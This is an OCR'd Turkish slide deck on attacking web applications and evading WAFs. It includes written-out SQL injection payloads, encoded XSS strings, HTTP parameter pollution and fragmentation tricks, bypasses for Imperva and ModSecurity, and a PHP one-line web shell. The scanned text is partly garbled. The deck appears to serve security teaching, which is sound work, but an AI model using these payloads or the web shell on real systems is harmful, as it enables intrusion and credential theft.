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Hedef

“ Esas hedef olarak web uygulamalari
% Aga acilan ilk kapa

* DMZ? (stateful firewall)

% Veritabani baglantisi, watering hole



G.-_-.ﬂsucr.r,,

BEA

wrw b comn ir

gﬁﬂl ¥a

o

. ﬂH\"-"‘"

Engel

Access Control Application
And Firewall IDSPS Firewall

= 9@@

The Enterprise

Web Sarver
Dﬁ!- _‘b‘ . . . Databases
‘ i _—— - .
L % o Parameter 0 ™
Anti- - Ap—— _":-,, Tampering Backend
spoofing o gpown @ . Servel Syslem
D issues g Scripting ‘
™ M . T e
& & N
- L ] L]
& - 3 | ——
L ] L L ]
L ] L L ]
L ] L] L ]
L] l, L ] 'iﬂ‘ll_ L] =
L 3 SELErmn- w L] - ¥
® Basad __Trl_lfl.:l_l'ﬂﬂ
# - M
o Miacks L
L3 ® Copokpe ®
Port o ” *  poisonin . -
Scanning . __ -
I L] & -
. .

o #®



Temelleri Anlamak

“ Web uygulamalarinin karmasik yapisi

% Cok katmanh mimari (istemciler, web s., web
servisleri, veritabanai s.)

% Bircok teknolojinin beraber veya birbirinin
yerine
kullanmilmasi(php,asp,jsp,servlet,scala,c++,
[3s],html,css,mssql,mysql,oracle,postgresql,n
osal. .....)



Temelleri Anlamak

« Icerik kontrolii
— kara liste!
- beyaz liste?
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SQL1

“* Normalde SQLi

— ‘union all select null --
- ) union ... #
— ; update users set pass=0xF20A.. where id=1



i’siz SQL

* %1001 SQL olan SQLi
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1's1z SQLI

* %1001 SQL olan SQLi

— ?1d=1 union all select null



1's1z SQLI

* %1001 SQL olan SQLi
— ?1d=1 union all select null
— ?1d=1 union(select null)
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1's1z SQLI

* %1001 SQL olan SQLi
— ?1d=1 union all select null

— ?1d=1 union(select null)
- ?1d=1 and (select id from users limit 0,1)>10
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i’siz SQL

* %100’1 SQL olan SQLi

— ?1d=1 union all select null
— ?1d=1 union(select null)
- ?1d=1 and (select id from users limit 0,1)>10

- ?id=1 and (select id from users where
pass=0x1F2B...) > 10
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i’siz SQL

* %100’1 SQL olan SQLi

— ?1d=1 union all select null
— ?1d=1 union(select null)
- ?1d=1 and (select id from users limit 0,1)>10

- ?id=1 and (select id from users where
pass=0x1F2B...) > 10



Alternatifler1 Kullanmak

SELECT name FROM sysobjects WHERE
xtype = ‘U’




Alternatifler1 Kullanmak

SELECT TABLE_ NAME FROM
INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'




Encoding

% payload (http://yehg.net/encoding/)
- &#112;&#97;&#121;&#108;&#111;&#97;&#100;
- \x70\x61\x79\x6c\x6f\x61\x64
= \70\61\79\6¢\61\61\64
- %70%61%79%6¢%61%61%64

- %u0070%u0061%u0079%u006¢c%u006f
%u0061%u0064

- \160\141\171\154\157\141\144




Encoding

“ payload (http://yehg.net/encoding/)
- 0x7061796C6F6164

— Char(112),Char(97),Char(121),Char(108),Char(111),C
har(97),Char(100)

- Char(112,97,121,108,111,97,100)

— chr(112)||chr(97)||chr(121)||chr(108)||chr(111)||chr(
97)||chr(100)

- 0X7000610079006C006F0061006400
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Encoding

“ Taninmayan encoding
% Birden fazla decode islemi
- hem uygulama hem veritabam decode edebilir
— decode islemi yapan birden fazla fonksiyon
kullanimis olabilir

% Performans kaygisi
- Sorgusuz decode mu?
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% index.aspx?'/><input type="image' src="#'
onerror='javascript:alert(1)

- farkl payload -
- encoding -



Encoding

.aspx'/><input type="image' src="#' %u006f
%1u1006e%u0065%u0072%u0072%u0061
%1u10072%1u003d%u0027%u006a
2%u0061%1u0076%u0061%1u0073%u0063%u
0072%u0069%u0070%u0074%u003a
%u0061%u006¢C
%u0065%u0072%1u0074%u0028%u0031%u
0029



Yorum Farki

< Yorumlar

% Ozel karakterler (null)
 HTTP parametre kirliligi



Yorum Farki

% ... union /*!oselect null */
> unlon/ *111* /select null
% <scr%ooipt>alert(1)</sc%ooript>
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HPP

“ index.php?param=abc&param=select
username,pass from users



HPP s

“ index.php?param=abc&param=select
username,pass from users

- select username,pass from users
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“ index.php?param=abc&param=select
username,pass from users

- select username,pass from users

% index.aspx?param=’"union select
null&param=username&param=pass from
users
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“ index.php?param=abc&param=select
username,pass from users

- select username,pass from users

% index.aspx?param=’"union select
null&param=username&param=pass from
users

— ‘union select null,username,pass from
J1QATQ



ASP.NET/NIS

All occurrences of the specific parameter

parl=vall,val2

ASP/IIS All occurrences of the specific parameter parl=vall,val2
PHP/Apache Last occurrence pari=val2
PHP/Zeus Last occurrence parl=val2
JSP,Serviet/Apache Tomcat First occurrence pari=vall
JSP,Serviet/Oracle Application Server 10g First occurrence parisvall
JSP,Serviet/Jetty Fist occurrence pari=vall
IeM Lotus Domino Last occurrence parl=v3i2
IBM HTTP Server Fiest occurrence pari=vall
mod_perl libapreq2/Apache First occurrence pari=vall
Perl CGl/Apache First occurrence parl=vall

mod_per, lib?77/Apache Becomas an aray ARRAY(0x8b2059¢C)

mod_wsgi (Python)/Apache First occurrence pari=vall

Python/Zope Becomes an array ["'vall’, ‘val2"]
[ceWarp Last occurrence parl=val2

AXIS 2400 All occurrences of the specific parameter pari=vall,val2
Linksys Wireless-G PTZ Internet Camera Last occurrence pari=val2
Ricoh Aficio 1022 Panter First occurrence pari=vall
webcamXP PRO First occurrence pari=vall

DBMan

| All occurrences of the specific parameter

parlzvall~~yal2




HPF

% ?p1=-1 union select 1--&p2=100



HPF

% ?p1=-1 union select 1--&p2=100
% select * from table where p1={p1} and
p2=1p2}
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HPF

% ?p1=-1 union select 1--&p2=100

% select * from table where p1={p1} and
p2={p2}

% ?p1=-1union/*&p2=*/ select 1,2,3
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HPF

% ?p1=-1 union select 1--&p2=100

% select * from table where p1={p1} and
p2={p2}

% ?p1=-1union/*&p2=*/ select 1,2,3

% select * from table where p1=-1 union/* and
*/ select 1,2,3



Bilinen Ornekler

% Imperva SecureSphere

- 15 and '1'=(SELECT 't' FROM dual) and
'ohaving'='ohaving'

“ Modsecurity MySQL Version
- 15 /*!1union select null*/

“* Modsecurity IIS
- HPP



Calistirilabilir Dosyalar

“ Binary




Calistirilabilir Dosyalar

“ Binary
* Web Shells




Calistirilabilir Dosyalar

“ Binary
* Web Shells

- one-liners
o <?=passthru($_GET['c'])?>




Calistirilabilir Dosyalar

“ Binary
* Web Shells

- one-liners
o <?=passthru($_GET['c'])?>
- laudanum, weevely




Calistirilabilir Dosyalar

“ Binary
* Web Shells

— one-liners
o <?=passthru($_GET['c'])?>
- laudanum, weevely
“ Encoding and Obfuscation
- http://xploitaday.komodin.org/tools/php-ent ., ) ¢




Diger Zafiyetler

% Oturum yonetimi zafiyetleri

“ Kontrolsiiz nesne erisimi

% Konfigiirasyon hatalar

% Yetersiz veya asilabilir erisim kontroli
% Dogrulanmayan yonlendirmeler

Y/
“‘ L N



Dogru Yere Bakmak

% Uygulama kendi giivenliginden sorumludur
% Giivenli uygulama gelistirme aliskanlig:
% Uygulama gelistirme siirecleri
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